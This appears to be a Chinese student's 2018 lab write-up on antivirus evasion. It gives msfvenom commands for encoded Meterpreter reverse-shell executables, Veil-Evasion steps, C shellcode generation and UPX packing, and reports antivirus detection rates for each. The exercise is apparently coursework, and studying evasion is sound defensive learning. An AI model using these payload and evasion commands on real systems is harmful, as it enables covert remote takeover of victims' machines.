20154322杨钦涵 Exp3 免杀原理与实践

Exp3 免杀原理与实践Exp3 免杀原理与实践

一、基础问题回答

1、杀软是如何检测出恶意代码的?
基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
启发式检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。

2、免杀是做什么?
免杀就是使杀毒软件检测不出恶意软件。

3、免杀的基本方法有哪些?
修改特征码:在不影响程序功能的情况下,修改杀软检测的那一段特征码。但修改特征码不是一个容易的事情,但是却是唯一可以躲过内存查杀的办法。
加壳:就是给含有恶意代码的程序加一个外包装。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。

二、实验内容

①正确使用msf编码器生成meterpreter可执行文件
A.原始版本
将上次实验产生的后门20154322_backdoor.exe 文件直接拷贝到开启360的win主机下

立即被360活捉 ̄へ ̄

添加信任以后放在virscan.org上扫描

从上图可以看出,有46%的报毒率!!有18/39的杀毒软件发现有病毒

B.编码1次
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.198.128 LPORT=4322 -f exe > yqh4322.exe
命令生成编码过的可执行文件 yqh4322.exe

我们发现被编码后的payload大小为368字节,最终文件的大小都是73802字节。
再次使用virscan.org检测


并没有什么用

C.编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.198.128 LPORT=4322 -f exe > yqh43222-e8.exe

得如下结果:

将生成的文件同样放到网站上扫描

仅仅下降到43%,由此可知发现无论编码多少次效果都差不多,所以想要利用编码次数来达到免杀效果显然是不行的。

②使用veil-evasion生成的后门程序

veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion

  • 试了很多次,一直卡在module tools错误这一步,最后决定用同学电脑生成

在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:

use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.198.128 //设置反弹连接IP
set port 4822 //设置反弹端口4822
generate //生成
yqhbackdoor //程序名

该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹

用msf进行监听,得如下结果:

在网上检测一下:

还不错,只有17%的杀毒率,(7/39)报告发现病毒。

找到文件所在位置,右键点击360木马查杀,没有发现

免杀成功~~

③ C语言调用Shellcode
kali:输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4322 -f c

LHOST:攻击机IP
LPORT:反弹连接端口
c:生成一个c语言格式的Shellcode数组

然后我选择在自己的物理机上编写一个c文件(codeblock),就是将讲义中的代码段替换成上面linux生成的代码,并进行编译。

放在上面提供的网址进行检测

终于少了,只有20%的病毒率!

在linux下进入MSF打开监听进程,跟之前做的实验步骤一样,这时候运行之前的c文件,发现linux侵入了我的电脑

程序运行后被360杀毒很快就查出来了,说明360杀毒还挺强的

放到网上检测一下

又下降至17%!效果不错

④加壳
直接用upx将MSF直接生成的文件加壳。

上传到网站上扫描

三、离实战还缺些什么技术或步骤?

  • 如何把这个文件传给对方并持续保持运行且还不被发现
  • 普通的杀毒软件都可以检测到主流的编码、加壳的平台程序,如果我们需要自己对恶意代码进行修改编译,这就需要更加专业的知识以及对各种系统更深的了解。

四、实验心得体会

  本次实践学习了免杀技术,使用msf编码器,veil-evasion, shellcode编程等免杀工具。这次实验让我感受到了杀毒软件十分不靠谱,就算在现在在这样一个起步阶段,基础的操作都可以实现免杀,那更高级的编程者对这些就更轻而易举了。所以,平时少下第三方软件,少点开链接(很有可能就是钓鱼链接),从源头减少恶意代码对系统的入侵。
posted @ 2018-04-07 23:16  杨钦涵20154322  阅读(96)  评论(0编辑  收藏